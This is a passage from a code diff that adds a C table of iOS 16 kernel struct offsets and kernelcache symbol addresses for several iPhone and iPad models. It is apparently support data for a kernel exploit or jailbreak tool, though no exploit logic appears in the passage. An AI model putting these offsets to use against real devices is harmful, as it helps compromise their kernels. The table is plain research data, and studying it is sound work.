.fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0xfffffffffffffb48, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a359178, + .kernelcache__gPhysBase = 0xfffffff00786fb98, + .kernelcache__gPhysSize = 0xfffffff00786fb98 + 8, + .kernelcache__gVirtBase = 0xfffffff00786dd78, + .kernelcache__perfmon_devices = 0xfffffff00a394370, + .kernelcache__perfmon_dev_open = 0xfffffff007ed4bd8, + .kernelcache__ptov_table = 0xfffffff007823260, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a393800, + .kernelcache__vm_pages = 0xfffffff007820088, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822210, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3937f8, + .kernelcache__vn_kqfilter = 0xfffffff007f26f14, + }, + + + //iPhone 11, 16.3 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0xfffffffffffffb48, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a35d178, + .kernelcache__gPhysBase = 0xfffffff00786fc80, + .kernelcache__gPhysSize = 0xfffffff00786fc80 + 8, + .kernelcache__gVirtBase = 0xfffffff00786de60, + .kernelcache__perfmon_devices = 0xfffffff00a398370, + .kernelcache__perfmon_dev_open = 0xfffffff007ed8be8, + .kernelcache__ptov_table = 0xfffffff0078232a0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a397800, + .kernelcache__vm_pages = 0xfffffff0078200c8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822250, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3977f8, + .kernelcache__vn_kqfilter = 0xfffffff007f2af14, + }, + +//iPhone 11, 16.3.1 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0xfffffffffffffb48, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a35d178, + .kernelcache__gPhysBase = 0xfffffff00786fc80, + .kernelcache__gPhysSize = 0xfffffff00786fc80 + 8, + .kernelcache__gVirtBase = 0xfffffff00786de60, + .kernelcache__perfmon_devices = 0xfffffff00a398370, + .kernelcache__perfmon_dev_open = 0xfffffff007ed8be8, + .kernelcache__ptov_table = 0xfffffff0078232a0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a397800, + .kernelcache__vm_pages = 0xfffffff0078200c8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007822250, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3977f8, + .kernelcache__vn_kqfilter = 0xfffffff007f2af14, + }, + + +//iPhone 11 iOS 16.4 +{ + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a425208, + .kernelcache__gPhysBase = 0xfffffff00794bed0, + .kernelcache__gPhysSize = 0xfffffff00794bed0 + 8, + .kernelcache__gVirtBase = 0xfffffff00794a0a8, + .kernelcache__perfmon_devices = 0xfffffff00a4634f0, + .kernelcache__perfmon_dev_open = 0xfffffff007ef73c8, + .kernelcache__ptov_table = 0xfffffff0078ff178, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a462990, + .kernelcache__vm_pages = 0xfffffff0078fbeb0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe118, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a462988, + .kernelcache__vn_kqfilter = 0xfffffff007f45f7c, + }, + +//iPhone 11, 16.4.1 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a425208, + .kernelcache__gPhysBase = 0xfffffff00794bed0, + .kernelcache__gPhysSize = 0xfffffff00794bed0 + 8, + .kernelcache__gVirtBase = 0xfffffff00794a0a8, + .kernelcache__perfmon_devices = 0xfffffff00a4634f0, + .kernelcache__perfmon_dev_open = 0xfffffff007ef73c8, + .kernelcache__ptov_table = 0xfffffff0078ff178, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a462990, + .kernelcache__vm_pages = 0xfffffff0078fbeb0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe118, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a462988, + .kernelcache__vn_kqfilter = 0xfffffff007f45f7c, + }, + + /**************** End iPhone 11 Series ***********************/ + + // iPad Air 3, 16.1.1 + { + .kern_version = "Darwin Kernel Version 22.1.0: Thu Oct 6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x530, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a215150, + .kernelcache__gPhysBase = 0xfffffff0078139d8, + .kernelcache__gPhysSize = 0xfffffff0078139d8 + 8, + .kernelcache__gVirtBase = 0xfffffff007811bc0, + .kernelcache__perfmon_devices = 0xfffffff00a250300, + .kernelcache__perfmon_dev_open = 0xfffffff007e7e79c, + .kernelcache__ptov_table = 0xfffffff0077c7890, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a24f780, + .kernelcache__vm_pages = 0xfffffff0077c46c8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077c6850, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a24f778, + .kernelcache__vn_kqfilter = 0xfffffff007ed0d00, + }, + + // iPad 9th Gen, 16.1.1 + { + .kern_version = "Darwin Kernel Version 22.1.0: Thu Oct 6 19:32:38 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 0x8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x530, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 0x8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 0x8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0xfffffffffffffb48, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a285150, + .kernelcache__gPhysBase = 0xfffffff007843910, + .kernelcache__gPhysSize = 0xfffffff007843910 + 0x8, + .kernelcache__gVirtBase = 0xfffffff007841af8, + .kernelcache__perfmon_devices = 0xfffffff00a2c02f0, + .kernelcache__perfmon_dev_open = 0xfffffff007eabfe4, + .kernelcache__ptov_table = 0xfffffff0077f78a8, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2bf780, + .kernelcache__vm_pages = 0xfffffff0077f46d0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077f6858, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2bf778, + .kernelcache__vn_kqfilter = 0xfffffff007efe210, + }, + + //iPhone 14 Pro, 16.4.1 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:42:19 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8120", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a411208, + .kernelcache__gPhysBase = 0xfffffff007933ed0, + .kernelcache__gPhysSize = 0xfffffff007933ed0 + 8, + .kernelcache__gVirtBase = 0xfffffff0079320a8, + .kernelcache__perfmon_devices = 0xfffffff00a44f500, + .kernelcache__perfmon_dev_open = 0xfffffff007eecd3c, + .kernelcache__ptov_table = 0xfffffff0078e7178, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a44e990, + .kernelcache__vm_pages = 0xfffffff0078e3eb8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6128, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a44e988, + .kernelcache__vn_kqfilter = 0xfffffff007f3960c, + }, + + // iPhone 14 Pro, 16.6 beta 1 + { .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:18:35 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8120", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + 